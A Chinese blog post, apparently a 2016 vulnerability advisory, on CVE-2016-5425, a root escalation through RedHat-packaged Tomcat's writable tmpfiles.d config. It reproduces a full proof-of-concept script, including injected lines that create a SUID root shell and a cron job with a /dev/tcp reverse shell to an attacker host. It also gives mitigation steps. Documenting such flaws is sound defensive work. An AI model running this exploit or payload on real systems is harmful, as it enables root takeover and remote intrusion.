欢迎来到【血梦博客】 今天是:2020年10月25日 星期日
站长联系QQ:635948183
当前位置: 网站首页> 资源共享> 漏洞预警:基于RedHat发行的Apache Tomcat本地提权漏洞

漏洞预警:基于RedHat发行的Apache Tomcat本地提权漏洞

作者:血梦 日期:2016-10-13 浏览:4984分类: 资源共享 已提交百度收录

描述

Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞。2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425。此次受到影响的主要是基于RedHat发行版Apache Tomcat,包括CentOS,RedHat,OracleLinux,Fedora等等。主要原因是普通Tomcat用户拥有权限来对/usr/lib/tmpfiles.d/tomcat.conf这个配置文件进行读写,那么该用户组成员或者拥有普通Tomcat权限的WebShell可以将权限提升至root级别。

漏洞描述

基于RedHat发行版的Tomcat安装后,tomcat组用户对tomcat.conf文件具有写权限,如下

[root@localhost ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf  -rw-rw-r--. 1 root tomcat 43 May 12  2015 /usr/lib/tmpfiles.d/tomcat.conf

tmpfiles.d目录下的配置文件是systemd-tmpfiles用于管理临时文件的,攻击者可以非常容易的注入恶意payload进tomcat.conf文件,比如新建一个反弹SHELL,新建一个具有SUID权限的文件。当/usr/bin/systemd-tmpfiles执行的时候,注入的payload也会随之得到执行。

在REDHAT发行版,默认启动后,systemd-tmpfiles会通过systemd-tmpfiles-setup.service服务得到执行,如下:

[root@localhost www]# cat /usr/lib/systemd/system/systemd-tmpfiles-setup.service |grep ExecStart ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev

依赖于系统使用,systemd-tmpfiles也可以通过其他服务,cronjobs,启动脚本,等方式来触发。值得说明的另外一个地方是, systemd-tmpfiles不会因为配置文件中的语法错误导致报错停止。因此攻击者可以很容易的注入恶意PAYLOAD到/usr/lib/tmpfiles.d/tomcat.conf

根据下面的POC,我们可以看到,·被注入到tomcat.conf ,意思是反弹SHELL,并新建一个具有SUID权限的shell,具体C,z,F的含义,我们可以通过 man 5 tmpfiles.d来查看。

C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1

POC

-----------[ tomcat-RH-root.sh ]---------
   #!/bin/bash # Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit # CVE-2016-5425 # # Full advisory at: # http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html # # Discovered and coded by: # Dawid Golunski # http://legalhackers.com # # Tested on RedHat, CentOS, OracleLinux, Fedora systems. # # For testing purposes only. #   
ATTACKER_IP=127.0.0.1
ATTACKER_PORT=9090
   echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *" echo -e  "  Discovered by Dawid Golunski\n" echo "[+] Checking vulnerability" ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat' if [ $? -ne 0 ]; then     echo "Not vulnerable or tomcat installed under a different user than 'tomcat'"     exit 1 fi echo -e "\n[+] Your system is vulnerable!"    echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..." cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n" _eof_
   echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:" cat /usr/lib/tmpfiles.d/tomcat.conf echo -e "\n[+] Payload injected! Wait for your root shell...\n" echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), 
the rootshell will be created in /usr/share/tomcat/rootsh. 
Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n"  --------------[ eof ]--------------------

本地测试:

1.先确定下本地LINUX发行版本和TOMCAT版本。

1.png

2.切换到tomcat组权限下,附加恶意payload到/usr/lib/tmpfiles.d/tomcat.conf文件中

2.png

cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/192.168.1.3/9999 0<&1 2>&1 & \n\n" _eof_

3.root权限下手动触发/usr/bin/systemd-tmpfiles –create [这步比较鸡肋,依赖系统有其他服务,cronjobs,启动脚本来触发,如果系统有,则好,如果没有,这个漏洞相对利用来说,需要触发systemd-tmpfiles,有点鸡肋]

[root@localhost Desktop]# /usr/bin/systemd-tmpfiles --create 

4.获取反弹ROOT权限的SHELL

漏洞影响

攻击者可以在具有tomcat权限时,通过改写配置文件实现本地提权到ROOT权限。如果远程攻击者结合特定的WEB应用程序漏洞,也可以实现远程利用。

影响的版本

CentOS

Fedora

Oracle Linux

RedHat

Redhat官网细节:https://access.redhat.com/security/cve/CVE-2016-5425

解决办法

临时修复建议

可以调整/usr/lib/tmpfiles.d/tomcat.conf权限,移除tomcat组的写权限。

chmod 644 /usr/lib/tmpfiles.d/tomcat.conf 

更新最新Tomcat包

Redhat安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。

参考

http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html

http://legalhackers.com/exploits/tomcat-RH-root.sh

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5425

https://access.redhat.com/security/cve/CVE-2016-5425

http://bobao.360.cn/learning/detail/3090.html

关灯